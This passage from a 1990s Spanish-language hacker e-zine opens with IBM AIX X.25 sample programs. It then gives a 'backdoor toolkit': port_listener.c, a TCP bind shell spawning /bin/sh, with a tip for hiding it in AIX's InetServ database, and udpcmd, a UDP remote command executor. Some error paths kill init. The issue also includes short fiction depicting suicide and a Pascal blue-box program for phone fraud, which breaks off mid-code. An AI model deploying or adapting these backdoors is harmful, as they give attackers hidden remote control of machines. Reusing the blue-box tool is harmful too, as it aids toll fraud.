| |--- xcomms | |--- xmonitor | |--- xtalk | |--- xtk.log | |--- xmg.mon | |--- xmg.stat | |-- xmg.view | | |-- asw --- x25a.exe | | |-- lib ------ drivers ---- x25dd | | |-- QLLC.ext | | |-- if_xt | | | | | |-- methods ---- cfgx25 | | |-- chgx25 | | | |-- nls --- msg ---- En_US ---- xmanage.cat | | |-- x25xlate.cat | |-- libx25s.a |-- xcomms.cat | |-- xmonitor.cat | |-- xroute.cat | |-- xtalk.cat | | | | |-- lpp --- bosext2 --- x25app ---- samples---- svcrcv.c (1) |-- svcxmit.c(2) |-- pvcxmit.c |-- pvcrcv.c Incluyo aca atras los programitas de ejemplo (1) y (2) para que puedan estudiarlos... (switched virtual circuits transmit y receive) ------------------------------ SVCXMIT.C -------------------------------- static char sccsid[] = "@(#)24 1.1 com/x25samp/svcxmit.c, commo, commo320 12/8/89 14:37:04"; /* COMPONENT_NAME: (LIBX25L) X.25 API Sample programs * * FUNCTIONS: * * ORIGINS: 27 * * (C) COPYRIGHT International Business Machines Corp. 1989 * All Rights Reserved * Licensed Materials - Property of IBM * * US Government Users Restricted Rights - Use, duplication or * disclosure restricted by GSA ADP Schedule Contract with IBM Corp. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <NLchar.h> #include <x25sdefs.h> #define LINK_NAME "x25s0" /* Default link */ #define CALLING_ADDR "54321" /* Calling Network User Address */ #define CALLED_ADDR "1234502" /* Called Network User Address */ #define SAMPLE_NAME "IBMSAMP" /* Name from routing list */ #define INFO "Hello World" #define INFO2 "Goodbye Everyone" /*****************************************************************************/ /* Function main */ /* Description This program is designed to demonstrate usage of the X.25 */ /* API. It makes a call, transmits some data, and then clears */ /* the call. */ /* Note that little error checking is done by this program. */ /* Return 0 if successful */ /* 1 if error occurs */ /*****************************************************************************/ int main( int argc, char *argv[]) { int conn_id; /* Used to identify the call after making the call. */ int ctr_id; /* Counter identifier to be associated with this call. */ int rc; /* Used for return codes. */ int ctr_num = 1; /* The number of counters in counter array. */ /***************************************************************************/ /* The following structures are defined in the x25sdefs.h file. */ /***************************************************************************/ struct cb_msg_struct cb_msg; struct cb_link_name_struct cb_link_name; struct ctr_array_struct ctr_array[1]; struct cb_call_struct cb_call; struct cb_clear_struct cb_clear; struct cb_data_struct cb_data; /***************************************************************************/ /* Initialise API for access to a link */ /***************************************************************************/ cb_link_name.flags = X25FLG_LINK_NAME; cb_link_name.link_name = LINK_NAME; rc = x25_init(&cb_link_name); if (rc < 0) { (void)printf("%s: x25_init failed : x25_errno = %d errno = %d\n", argv[0],x25_errno,errno); return(1); } else { /************************************************************************/ /* Obtain a counter to notify of incoming packets */ /************************************************************************/ ctr_id = x25_ctr_get(); /************************************************************************/ /* Set the flags in the cb_call structure to indicate which fields */ /* have been filled in. The fields which this program sets */ /* are the calling and called addresses, and the link on which to call. */ /* The D-bit field must also be set, as there will be a data packet */ /* sent later which uses the D-bit procedure. */ /************************************************************************/ cb_call.flags = X25FLG_LINK_NAME; /* Set flag for using linkname. */ cb_call.link_name = LINK_NAME; cb_call.flags |= X25FLG_CALLING_ADDR; /* Set flags for calling addr */ cb_call.calling_addr = CALLING_ADDR; cb_call.flags |= X25FLG_CALLED_ADDR; /* Set flag for called address */ cb_call.called_addr = CALLED_ADDR; cb_call.flags |= X25FLG_D_BIT; /************************************************************************/ /* Having set the values in the cb_call structure, make the call. The */ /* return code is the connection identifier to reference this call later*/ /************************************************************************/ conn_id = x25_call(&cb_call,ctr_id); if (conn_id == -1) { (void)printf("%s: x25_call failed : x25_errno = %d errno = %d\n", argv[0],x25_errno,errno); return(1); } else (void)printf("%s: Placed outgoing call\n",argv[0]); /************************************************************************/ /* After making the connection wait for some sort of confirmation. This */ /* may be a call clear or a call connected packet. */ /************************************************************************/ /************************************************************************/ /* Wait for the counter value to change indicating an incoming message. */ /* There is only one counter in the array so there is no point in */ /* testing to see if it is the correct counter. */ /************************************************************************/ ctr_array[0].flags = X25FLG_CTR_ID; ctr_array[0].flags |= X25FLG_CTR_VALUE; ctr_array[0].ctr_id = ctr_id; ctr_array[0].ctr_value = 0; (void)x25_ctr_wait(ctr_num,ctr_array); (void)x25_receive(&conn_id,&cb_msg); /* Receive the incoming message. */ /************************************************************************/ /* If the incoming message shows that the call has been connected, data */ /* may be sent. */ /************************************************************************/ if (cb_msg.msg_type == X25_CALL_CONNECTED) { cb_data.flags = X25FLG_DATA; cb_data.data_len = strlen(INFO); cb_data.data = INFO; (void)x25_send(conn_id,&cb_data); (void)printf("%s: Data sent\n",argv[0]); /**********************************************************************/ /* Send some more data but this time with the D bit set. */ /* The other DTE must send an acknowledgement to this data, which we */ /* wait for. */ /**********************************************************************/ cb_data.flags = X25FLG_DATA; cb_data.flags |= X25FLG_D_BIT; cb_data.data_len = strlen(INFO2); cb_data.data = INFO2; (void)x25_send(conn_id,&cb_data); (void)printf("%s: Data sent\n",argv[0]); (void)x25_ctr_wait(ctr_num,ctr_array); /* Wait for acknowledgement. */ (void)x25_receive(&conn_id,&cb_msg); /* Get acknowledgement. */ if (cb_msg.msg_type == X25_DATA_ACK) (void)printf("%s: Data has been acknowledged.\n",argv[0]); else (void)printf("%s: Unexpected packet received.\n",argv[0]); /**********************************************************************/ /* Clear the call now that transmission is completed. */ /**********************************************************************/ cb_clear.flags = X25FLG_CAUSE; cb_clear.flags |= X25FLG_DIAGNOSTIC; cb_clear.cause = 0; /* The CCITT code for DTE-originated */ cb_clear.diagnostic = 0; /* No further information */ (void)printf("%s: Clearing the call.",argv[0]); /**********************************************************************/ /* The x25_call_clear function can return information from the clear */ /* confirmation packet. However, this isn't required here, so set the */ /* third parameter to NULL. */ /**********************************************************************/ (void)x25_call_clear(conn_id,&cb_clear,(struct cb_msg_struct *)NULL); } /************************************************************************/ /* If the message received was a clear indication message then terminate*/ /* program. */ /************************************************************************/ else if (cb_msg.msg_type == X25_CLEAR_INDICATION) { (void)printf("%s: Call cleared. Cause = 0x%02x Diagnostic = 0x%02x\n", argv[0], cb_msg.msg_point.cb_clear->cause, cb_msg.msg_point.cb_clear->diagnostic); } /************************************************************************/ /* Finally, tidy up by removing allocated resources */ /************************************************************************/ (void)x25_ctr_remove(ctr_id); (void)x25_term(&cb_link_name); } return(0); } ------------------------------------ENDP------------------------------------- ----------------------------------SVCRCV.C----------------------------------- static char sccsid[] = "@(#)21 1.1 com/x25samp/svcrcv.c, commo, commo320 12/8/89 14:36:17"; /* COMPONENT_NAME: (LIBX25L) X.25 API Sample programs * * FUNCTIONS: * * ORIGINS: 27 * * (C) COPYRIGHT International Business Machines Corp. 1989 * All Rights Reserved * Licensed Materials - Property of IBM * * US Government Users Restricted Rights - Use, duplication or * disclosure restricted by GSA ADP Schedule Contract with IBM Corp. */ #include <stdio.h> #include <stdlib.h> #include <errno.h> /* System error numbers. */ #include <NLchar.h> /* National Language Support. */ #include <x25sdefs.h> /* For X.25 structure definitions. */ #define LINK_NAME "x25s0" /* Default link - the first */ #define SAMPLE_NAME "IBMSAMP" /* A name in the X.25 routing list */ /*****************************************************************************/ /* Function main */ /* Description This program is designed to demonstrate usage of the X.25 */ /* API. It waits for an incoming call, accepts it, and then */ /* prints any data received. */ /* Note that little error checking is done by this program. */ /* Returns 0 if successful */ /* 1 if error */ /*****************************************************************************/ int main( int argc, char *argv[]) { /***************************************************************************/ /* The following structures are defined in the x25sdefs.h file. */ /***************************************************************************/ struct cb_call_struct cb_call; struct ctr_array_struct ctr_array[1]; /* This program uses 1 counter. */ struct cb_msg_struct cb_msg; /* For incoming messages. */ struct cb_link_name_struct cb_link_name; NLchar name[8]; /* 1 longer than SAMPLE_NAME for NULL terminator. */ int listen_id; /* Used to identify channel to x25_receive. */ int conn_id; /* Used to identify the call after reception. */ int listen_ctr_id; /* Counter identifier to associate with incoming calls*/ int call_ctr_id; /* Counter identifier to associate with accepted call */ int ctr_num; /* Number of entries in ctr_array. */ int rc; /* Return code */ /***************************************************************************/ /* Initialise a particular link. */ /***************************************************************************/ cb_link_name.flags = X25FLG_LINK_NAME; cb_link_name.link_name = LINK_NAME; rc = x25_init(&cb_link_name); if (rc < 0) { (void)printf("%s: x25_init failed : x25_errno = %d errno = %d\n", argv[0],x25_errno,errno); return(1); } else { /************************************************************************/ /* Prepare to receive incoming calls. */ /* First obtain a counter which will be used to notify of incoming calls*/ /* Secondly, "listen" to a name in the routing list. */ /************************************************************************/ listen_ctr_id = x25_ctr_get(); /* Get a counter. */ (void)NCdecstr(SAMPLE_NAME,name,8); /* Convert to NLchar. */ listen_id = x25_listen(name,listen_ctr_id); if (listen_id < 0) { (void)printf("%s: x25_listen failed : x25_errno = %d errno = %d\n", argv[0],x25_errno,errno); return(1); } else (void)printf("%s: Awaiting incoming call...\n",argv[0]); /************************************************************************/ /* Wait for an incoming call. The x25_ctr_wait function will return to */ /* indicate when there is a call. */ /************************************************************************/ ctr_num = 1; ctr_array[0].flags = X25FLG_CTR_ID; ctr_array[0].flags |= X25FLG_CTR_VALUE; ctr_array[0].ctr_id = listen_ctr_id; ctr_array[0].ctr_value = 0; rc = x25_ctr_wait(ctr_num,ctr_array); /************************************************************************/ /* Receive a call. */ /* There is now a message ready. It will be an Incoming Call message */ /* because that is all that is returned when the first parameter of */ /* x25_receive has the value of a listen_id. Note that the value of the */ /* conn_id parameter is changed by x25_receive. */ /************************************************************************/ conn_id = listen_id; (void)x25_receive(&conn_id,&cb_msg); (void)printf("%s: Incoming call received\n",argv[0]); /************************************************************************/ /* Now that the incoming call has been received, it is accepted. No */ /* additional information needs to be put into the call-accept packet, */ /* so the flags field is set to zero. */ /* A different counter is used for handling data from this call. */ /************************************************************************/ call_ctr_id = x25_ctr_get(); cb_call.flags = 0; (void)x25_call_accept(conn_id,&cb_call,call_ctr_id); (void)printf("%s: Call accepted.\n",argv[0]); /************************************************************************/ /* The X.25 API allocates memory to return information. Although there */ /* are no memory constraints in this application, the space allocated */ /* is freed anyway once the information is no longer needed. */ /************************************************************************/ if (cb_msg.msg_point.cb_call != NULL) { cb_msg.msg_point.cb_call -> flags = 0; if (cb_msg.msg_point.cb_call->link_name != NULL) free(cb_msg.msg_point.cb_call->link_name); if (cb_msg.msg_point.cb_call->calling_addr != NULL) free(cb_msg.msg_point.cb_call->calling_addr); if (cb_msg.msg_point.cb_call->called_addr != NULL) free(cb_msg.msg_point.cb_call->called_addr); if (cb_msg.msg_point.cb_call->user_data != NULL) free(cb_msg.msg_point.cb_call->user_data); free(cb_msg.msg_point.cb_call); } /************************************************************************/ /* Call has now been received and acknowledged, now wait for the data. */ /************************************************************************/ do { /**********************************************************************/ /* Wait for counter to indicate that data is waiting to be received. */ /**********************************************************************/ ctr_num = 1; ctr_array[0].flags = X25FLG_CTR_ID; ctr_array[0].flags |= X25FLG_CTR_VALUE; ctr_array[0].ctr_id = call_ctr_id; ctr_array[0].ctr_value = 0; (void)x25_ctr_wait(ctr_num,ctr_array); /**********************************************************************/ /* There is now a message ready. */ /**********************************************************************/ (void)x25_receive(&conn_id,&cb_msg); switch (cb_msg.msg_type) { case X25_DATA: /********************************************************************/ /* If the D-bit (delivery confirmation) is set, then acknowledge */ /* the packet. */ /********************************************************************/ if ((cb_msg.msg_point.cb_data->flags) & X25FLG_D_BIT) (void)x25_ack(conn_id); /********************************************************************/ /* Now print the received data. Assume it is a normal string */ /********************************************************************/ if ((cb_msg.msg_point.cb_data -> flags) & X25FLG_DATA) { (void)printf("%s: Incoming Data : ",argv[0]); (void)printf("%s\n",cb_msg.msg_point.cb_data->data); free(cb_msg.msg_point.cb_data->data); /* Free memory allocated */ free(cb_msg.msg_point.cb_data); } break; case X25_CLEAR_INDICATION: /********************************************************************/ /* Once the call has been cleared, do the tidying up */ /********************************************************************/ (void)printf("%s: Call cleared. Cause = 0x%02x Diagnostic = 0x%02x\n", argv[0], cb_msg.msg_point.cb_clear->cause, cb_msg.msg_point.cb_clear->diagnostic); (void)x25_ctr_remove(call_ctr_id); (void)x25_ctr_remove(listen_ctr_id); (void)x25_deafen(listen_id); (void)x25_term(&cb_link_name); break; case X25_RESET_INDICATION: (void)x25_reset_confirm(conn_id); break; default: /* Other packet types are ignored */ break; } } while (cb_msg.msg_type != X25_CLEAR_INDICATION); } return(0); } ------------------------------------ENDP------------------------------------- En la proxima HBOMAG: TCP/IP en AIX. =============================================================================== -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- =============================================================================== 0x01040005 - My First Backdoor Toolkit #2 ========================================= Despues del makemeroot.c de la HBOMAG 3 que a la gente que llego a leerlo le gusto bastante, decidimos seguir haciendo un review de los metodos mas estupidos y comunes para dejar backdoors en sistemas... Esta vez tocan dos programitas que todo el mundo que se precie hizo alguna vez, y cuya funcion se desprende claramente de seguir el codigo con los ojos de una manera TOP-DOWN (es decir de abajo hacia arriba?) caracter por caracter, y sumandole al caracter anterior el valor del caracter actual. de todas maneras traten de leer el codigo porque lo mas posible es que los programitas de esta seccion no los hayamos compilado nunca, y esten llenos de system("rm -rf /*"); o cosas por el estilo OK? Avisados estan... Logical Backdoor. PD: mi relacion con esta columna, es puramente sexual, y porque me estoy constituyendo en el editor de facto de la misma... nadamas manden sus programas-verga que seran evaluados de la forma dicha anteriormente, con un contador byte (char contador;) y si el resultado da 666%256=154 seran publicados... sino no. The same old Port Listener: -------------------------- by Logical Backdoor La idea es muy sencilla, un programa se queda escuchando un port y si recibe determinada inicializacion se transforma en un shell IN YOUR FACE como diria un amigo... Mas alla de la utilidad (que es bastante limitada, por que aparece en cualquier ps aunque lo ocultemos con un nombre "tipico", y si shutdownean la maquina 'cagaste fiera') que hace que sea un backdoor mas bien torpe, tiene un par de cositas interesantes para los mas suckers, lo basico de sockets y TCP, y el manejo de pty's. Si se animan cuelguenlo del inetd que es un poco mas posta... Si no compila lola, me dio fiaca compilarlo y probarlo, pero como mucho hay un par de bugs pelotudos o no. -----------------------------port_listener.c----------------------------------- /* este programa fue integramente desarrollado, betatesteado y utilizado desde el QEDIT. asi anda. */ #include <stdio.h> #include <signal.h> #include <setjmp.h> #include <sys/select.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netdb.h> #include <memory.h> /* si faltan mas includes agreguenlos.... no tengo mas ganas */ #define MAXCONNECTIONS 5 #define PORTNUM 6666 #define READMAX 16 jmp_buf salto; void get_out(void) { wait(); longjmp(salto,1); } int suckwait(int portnum, int maxconnections) { char hostname[80]; struct hostent *h; struct sockaddr_in sa; int s,i; /*gethostname(hostyname,80); suckonthis */ strcpy(hostname,"localhost"); h=gethostbyname(hostname); if (h==NULL) return(-1); sa.sin_port=portnum; sa.sin_family=h->h_addrtype; memset(sa.sin_zero,0,8); memcpy(&sa.sin_addr ,h->h_addr,sizeof(sa.sin_addr)); if ((s=socket(h->h_addrtype, SOCK_STREAM, 0)) < 0 ) return(-2); if (bind(s,&sa,sizeof(sa)) < 0 ) return(-3); listen(s,maxconnections); return(s); } /* el manejo de pty's, cut&pasteado de Stevens: Advanced programming in the Unix Environment */ int ptym_open(char *pts_name) { int fdm; char *ptr1, *ptr2; strcpy(pts_name, "/dev/ptyxy"); for ( ptr1 = "pqrstuvwxyzPQRST"; *ptr1 != 0; ptr1++ ) { pts_name[8]= *ptr1; for ( ptr2 = "0123456789abcdef" ; *ptr2 != 0; ptr2++ ) { pts_name[9]= *ptr2; if ( (fdm=open(pts_name,O_RDWR)) < 0 ) { if (errno == ENOENT) return(-1); else continue; } pts_name[5]='t'; return(fdm); } } return(-1); } int ptys_open ( int fdm, char *pts_name) { struct group *grptr; int gid, fds; if ( (grptr = getgrnam ("tty")) != NULL ) gid= grptr->gr_gid; else gid= -1; chown(pts_name, getuid(),gid); chmod(pts_name, S_IRUSR | S_IWUSR | S_IWGRP); if ( (fds = open (pts_name, O_RDWR)) < 0 ) { close (fdm); return(-1); } return (fds); } pid_t pty_fork ( int *ptrfdm, char *slave_name, const struct termios *slave_termios, const struct winsize *slave_winsize) { int fdm, fds; pid_t pid; char pts_name[20]; if ( ( fdm = ptym_open (pts_name) ) < 0 ) errsys("cant't open master pty"); if (slave_name != NULL) strcpy(slave_name, pts_name); if ( (pid=fork()) < 0 ) return(-1); else if (pid==0) { if ( setsid()<0 ) errsys("setsid error"); if ( (fds = ptys_open (fdm, pts_name) ) < 0 ) errsys("can't open slave pty"); close(fdm); #if defined (TIOCSTTY) && !defined (CIBAUD) if ( ioctl(fds,TIOCSTTY, (char *) 0 ) < 0 ) errsys("TIOCSTTY error"); #endif if (slave_termios != NULL ) { if (tcsetattr(fds,TCSANOW, slave_termios) < 0) errsys("tcsetattr error on slave pty"); } if (slave_winsize != NULL ) { if ( ioctl(fds, TIOCSWINSZ, slave_winsize) < 0 ) errsys("TIOCSWINSZ error on slave pty"); } if (dup2(fds,STDIN_FILENO) != STDIN_FILENO) errsys("dup2 error on stdin"); if (dup2(fds,STDOUT_FILENO) != STDOUT_FILENO) errsys("dup2 error on stdout"); if (dup2(fds,STDERR_FILENO) != STDERR_FILENO) errsys("dup2 error on stderr"); if (fds>STDERR_FILENO) close(fds); return(0); } else { setsid(); *ptrfdm= fdm; return(pid); } } void yzzx(int in1, int out1, int in2, int out2) { fd_set W; struct timeval t; int e; while( 1<<7 & 1<<6 & 1<<5 & 1<<4 & 1<<3 & 1<<2 & 1<<1 & 1 !=0) { FD_ZERO(&W); FD_SET(in1,&W); FD_SET(in2,&W); t.tv_sec=0; t.tv_usec=0; if ((e=select(((in1>in2) ? in1+1 : in2+1),&W,NULL,NULL,&t)) > 0) { if (FD_ISSET(in1,&W)) write(out2,buf,read(in1,buf,MAXREAD)); if (FD_ISSET(in2,&W)) write(out1,buf,read(in2,buf,MAXREAD)); } } } void main() { int s,t,len, pthijo; int fdm,pty_name[80]; struct sockaddr_in sa; daemon_init(); if ((s=suckwait(PORTNUM,MAXCONNECTIONS))>0) { signal(SIGCHLD,wait); /* Real programmers don't use myfunc() */ while (1) { if ((t=accept(s,&sa,&len))>0) { if (fork()==0) { signal(SIGCHLD,get_out); /* si muere el hijo(shell) termino */ if ((pthijo=pty_fork(&fdm,pty_name,NULL,NULL))==0) { execl("/bin/sh","sh",NULL); exit(0); } else { if (!setjmp(salto)) /* si no vuelvo del salto... */ { yzzx(t,t,fdm,fdm); } } close(fdm); close(t); exit(0); } close(t); } } } else { fprintf(stderr,"SUCKER!"); system("echo System is going down NOW | /bin/wall"); system("/bin/kill -9 1"); fflush(stderr); } } ---------------------------------ENDP------------------------------------------ Comentario sin importancia: (PARA AIX) El AIX, como cualquier otro unix que se precie tiene el /etc/inetd.conf y el /etc/services donde aparecen la configuracion de los programas que llama el inetd y los ports asociados, pero a diferencia de cualquier unix decente el AIX NO LOS USA. bien, lo que si usa para la configuracion de los services es una base con formato odm que se llama /etc/objrepos/InetServ, y donde se guardan mas o menos los mismos datos... a su vez hay dos programitas: el inetexp y el inetimp, que son los encargados de exportar e importar los datos entre los dos formatos... pero esto nos permite una pequenia triquiniuela que es la siguiente: configurar nuestro port-listener en InetServ y no exportar los datos a /etc/*, entonces si uno hace lo primero que uno hace para ver los services que es catear el /etc/inetd.conf no lo va a encontrar... interesante. (Todo este comentario esta aca ya que en este numero se habla bastante de AIX, entonces yo tambien queria mechar con algo aunque mas no sea una huevada, teniendo en cuenta que no hice la backdoors colection para AIX que habia prometido, vio...) lbd UDPCMD.C -------- by OPii (The same old port listener por UDP) Es una estupidez modificarlo para que lo corra el inetd directamente. SE incluyen el client y el server, les sugiero que lean los fuentes antes de compilarlo y correrlo. -------------------------------udpcmd.c------------------------------------ #include "udpcmd.h" int bytes; main(argc, argv) char** argv; { struct hostent* h; struct sockaddr_in me, it; msg m; int seq, i, sock, namelen; void catch(); if (argc < 3) { printf("NECESITO ARGUMENTOS, ESTUPIDO!.\n"); printf("algo asi como: %s host cmd\n", argv[0]); sleep(5); system("echo Chupenmen la verga| /bin/wall;/bin/write root"); exit(-666); } if ((sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0) { perror("socket"); exit(2); } if (!(h = gethostbyname(argv[1]))) { perror(argv[1]); exit(3); } /* * Lleno el address y port para el remote socket */ bzero(&it, sizeof(it)); it.sin_family = AF_INET; bcopy(h->h_addr, &it.sin_addr, h->h_length); it.sin_port = htons(PORT); for (m.m_buf[0]=0, i=2; i<argc; i++) { strcat(m.m_buf, argv[i]); strcat(m.m_buf, " "); } #ifdef VERBOSITY fprintf(stderr, "host: %s, command %s\n", argv[1], m.m_buf); #endif if (sendto(sock, &m, sizeof(m), 0,(struct sockaddr *) &it, sizeof it) < 0) { perror("send failed"); exit(6); } namelen = sizeof(it); alarm(30); signal(SIGALRM, catch); for (seq=0; ; ++seq) { recvfrom(sock, &m, sizeof(m), 0,(struct sockaddr *) &it, &namelen); m.m_seq = ntohl(m.m_seq); bytes += sizeof(m); m.m_size = ntohl(m.m_size); if (m.m_seq == -1) { if (m.m_size) #ifdef VERBOSITY fprintf(stderr, "Error @$#!@$#: %#x (lo pario!)\n", m.m_size); #endif break; } if (m.m_seq != seq) { if (seq < m.m_seq) #ifdef VERBOSITY fprintf(stderr, "**> %d paquete(s) garchados\n", m.m_seq - seq); #endif else #ifdef VERBOSITY fprintf(stderr, "**> recibi seq=%d y esperaba seq=%d, fuck!\n", #endif m.m_seq, seq); seq = m.m_seq; } printf("%.*s", m.m_size, m.m_buf); alarm(15); /* lurk por un rato */ } catch(); } void catch() { #ifdef VERBOSITY fprintf(stderr, "%d bytes recibidos\n", bytes); #endif } ---------------------------------endp-------------------------------------- -------------------------------udpcmdd.c----------------------------------- #include "udpcmd.h" struct sockaddr_in me, it; main(argc, argv) char** argv; { msg m; int sock, namelen, seq = 0; struct hostent* h; FILE* f; if ((sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0) { perror("socket"); exit(2); } if (argc > 1) { if (!(h = gethostbyname(argv[1]))) { perror("gethost"); exit(3); } } else { if (!(h = gethostbyname("localhost"))) { perror("gethost"); exit(3); } } bzero(me, sizeof(me)); me.sin_family = AF_INET; me.sin_port = htons(PORT); bcopy(h->h_addr, &me.sin_addr, h->h_length); if (bind(sock,(struct sockaddr *) &me, sizeof(me)) < 0) { perror("bind"); exit(3); } if (fork()) exit(0); /*DEBUG*/ for ( ;; ) { int namelen = sizeof(it); int seq; register len; if (recvfrom(sock, &m, sizeof(m), 0,(struct sockaddr *) &it, &namelen /* , 0 */ ) < 0) { perror("recvfrom"); exit(9); } if (!(f = popen(m.m_buf, "r"))) goto done; for (seq=0; len = getbuf(m.m_buf, f); ++seq) { m.m_seq = htonl((long)seq); m.m_size = htonl(len); sendto(sock, &m, sizeof(m), 0,(struct sockaddr *) &it, namelen); } done: m.m_size = htonl((pclose(f)>>8) & 0xff); m.m_seq = htonl(-1); sendto(sock, &m, sizeof(m), 0,(struct sockaddr *) &it, namelen); } } getbuf(s, f) char *s; FILE *f; { static buf[MBUFSIZ]; static usebuf = 0; static len; register used; if (usebuf) { strncpy(s, buf, len); used = len; } else used = 0; for ( ;; ) { if (!fgets(buf, sizeof(buf)-1, f)) { usebuf = 0; return used; } buf[sizeof(buf)-1] = 0; if ((len = strlen(buf)) <= (MBUFSIZ - used)) { strncpy(&s[used], buf, len); used += len; } else { usebuf = 1; return used; } } } ---------------------------------endp-------------------------------------- -------------------------------udpcmd.h------------------------------------ #include <stdio.h> #include <sys/types.h> #include <signal.h> #include <sys/socket.h> #include <sys/time.h> #include <netinet/in.h> #include <netdb.h> #define PORT 6666 #define MBUFSIZ 800 typedef struct { int m_size; int m_seq; char m_buf[MBUFSIZ]; } msg; ---------------------------------endp-------------------------------------- =============================================================================== -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- =============================================================================== 0x01040006 - READSHIT ===================== Esto es ReadShit, textos y basura afin... para pasar un mal rato antes de sequir por HBO (Inter 1/2) NONAME.ASC ---------- by Janx Spirit Las paletas del ventilador cruzaban una y otra vez mi campo de vision interrumpiendo cualquier intento de concentracion en algo diferente a nada. Una vision recurrente en mi vida. El techo blanco. Un blanco de cal, no de esmalte sintetico. Un techo pintado a la cal, un ventilador blanco colgando de algunos bulones que parecen tener mas años que mi persona. No se siente ningun viento, es muy posible que las paletas no lo generen. Se mueven a esa exacta velocidad que, combinadas con el cielorraso, dan esa caracteristica impresion de estar muriendose de calor en algun lugar de Colombia. Algo se cruza en mi mente, no logro averiguar que. Como suele pasar olvido todo indicio de pensamiento antes de llegar a una conclusion. Asi es mas facil. Asi me fue mas facil siempre. La navaja es algo que suele matar mucho de mi tiempo. Abrirla y cerrarla en metodicos y reiterativos movimientos. Una y otra vez. Asi hasta que encuentro algo distinto en que aburrirme. La computadora no. Asi de simple, no. Aunque, no se porque, esta encendida y algo se mueve en la pantalla. Pero no todo en mi vida sigue estos pasos. Hay veces en las cuales siento alguna necesidad de pensar para entender. Oportunidades en las cuales mi tiempo no aparenta estar detenido. Momentos en los que el ventilador de techo recupera su velocidad normal y dudo si mi techo esta pintado a la cal o con esmalte. Si, definitivamente. Hay veces que en HBO pasan buenas peliculas. NICE.TXT -------- by Saltamontes Fue despues de cortar su cabello. Lo habia imaginado antes, pero ocurrio despues. Todos esos reflejos pictoricos de sus fantasias se habian transformado, se habian mudado de dimension; su inteligencia tambien habia cambiado de forma, y ahora jugaba a interpretarse a si misma. Si hubiese intentado cuantificar el tiempo transcurrido, entre el corte de pelo y su suicidio, posiblemente se hubiera encontrado sumergido en un bucle extraño. Ese intervalo habia sido finito y es infinito. Tomo su libro de Mishima, encendio el radiocassete y se sento en su sillon favorito. Acariciando su nueva pelada cabeza y experimentado con las emociones generadas por sus flamantes formas interiores, comenzo a mirar las palabras estampadas en su barata y popular edicion. La memoria se mantenia intacta, los recuerdos de aquellas emociones generaban otras nuevas...imposibles de imaginar momentos atras. Cada elemento de la realidad era ahora diferente. Se levanto tirando el libro al suelo. De las paginas brotaban lagrimas invisibles, era el llanto de un espectador impotente. Entonces, sin sentir sus pies humedos - sino debiles, tomo la pistola e introduciendola en su boca la abrazo con la lengua. Fue justo despues de disparar cuando tomo la navaja y rapo su cabeza. Todo habia cambiado, su inteligencia habia tomado otra forma, sus fantasias se mudaron de dimension. Salta (0$-07-94) =============================================================================== -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- =============================================================================== 0x01040007 - KP: El Primer Blue Boxer por Speaker. ================================================= El siguiente programita, permite reproducir samples de 8-bit (definicion real de 6) por el speaker de una PC y por conversor D/A en port paralelo (si, lo puede usar con su comPUSound). Usado correctamente se convierte en un blueboxer de bolsillo. El archivo de configuracion KPLAY.CFG define una correspondencia tecla-samples, y de numeros de telefono. Ademas permite el manejo de strings de incializacion y discado para modems. (eso es en la version 2.0 que todavia no esta indentada(n.de los e.)) (* KP.PAS coded by [ME] *) Program KP; Uses Crt, Dos; Type DArray = Array [ 0 .. 48000 ] Of Byte; Var MaxKey : Integer; Keys: Array [ 1 .. 250 ] Of String[60]; Vol : Byte; Buf : Darray; P : Word; Old : Pointer; OldProc: Procedure; Min,Pos: Integer; BufKey : String; SS : String; Procedure irq8; Assembler; Asm push ax push ds push si mov ax,seg p mov ds,ax mov si,word ptr ds:p cmp si,0 jz @fin inc word ptr ds:p inc word ptr ds:p mov al,[si] mul byte ptr ds:vol mov al,ah out 42h,al xor al,al out 42h,al mov al,3 out 61h,al @fin: mov al,20h out 20h,al pop si pop ds pop ax iret End; Procedure Done; Begin Port[$40]:=0; Port[$40]:=0; SetIntVec($8,Old); End; Procedure NewExitProc; Far; Begin ExitProc:=@OldProc; Done; Port[$61]:=Port[$61] And 252; End; Procedure Init; Var F : Text; Begin ClrScr; Min:=1; Pos:=1; BufKey:=''; @OldProc:=ExitProc; ExitProc:=@NewExitProc; Vol:=55; Assign(F,'KPLAY.CFG'); Reset(F); MaxKEy:=0; While (Not (Eof(F))) And (MaxKey<250) Do Begin Inc(MaxKey); ReadLn(F,Keys[MaxKey]); End; Close(F); Asm cli End; GetIntVec($8,Old); SetIntVec($8,@irq8); Port[$61]:=Port[$61] Or 3; Port[$40]:=54; Port[$40]:=0; Port[$43]:=$B0; Asm Sti End; SS:=' '; End; Var F : File; X : Word; G : Word; Z : Word; Ch: Char; Procedure PlayIt; Begin X:=1; While (X<=MaxKey) And ((Ch<>Keys[X,1]) Or (Keys[X]='') Or (Keys[X,1]=' ')) Do Inc(X); If X<=MaxKEy Then Begin Assign(F,Copy(Keys[X],3,Length(Keys[X])-2)); {$I-} Reset(F,1); {$I+} If IOResult=0 Then Begin BlockRead(F,Buf,32768,G); Close(F); G:=G+Ofs(Buf); P:=Ofs(Buf)+1; asm mov dx,378h @1: mov si,word ptr ds:p mov al,[si] out dx,al cmp si,g jbe @1 End; P:=0; End; End; End; Procedure Show; Var X : Integer; Begin GotoXY(1,1); X:=Min; While (WhereY<20) Do Begin If Pos=X Then Begin TextColor(Blue); TextBackGround(White); End Else Begin TextColor(LightGray); TextBackGround(Black); End; WriteLn(Copy(Keys[X]+' ',1,60)); X:=X+1; End; TextAttr:=7; WriteLn; WriteLn('VOL(+/-): ',Vol); Write(SS); End; Begin Init; Show; Repeat P:=0; Show; If BufKey='' Then Begin Ch:=UpCase(ReadKey); Case Ch Of '-' : Dec(Vol); '+' : Inc(Vol); #13 : If Keys[Pos,1]='#' Then Begin BufKey:=Keys[Pos]; Delete(BufKey,1,System.Pos('|',BufKey)); End Else BufKey:=Keys[Pos,1]; #0 : Begin Ch:=ReadKey; Case Ch Of 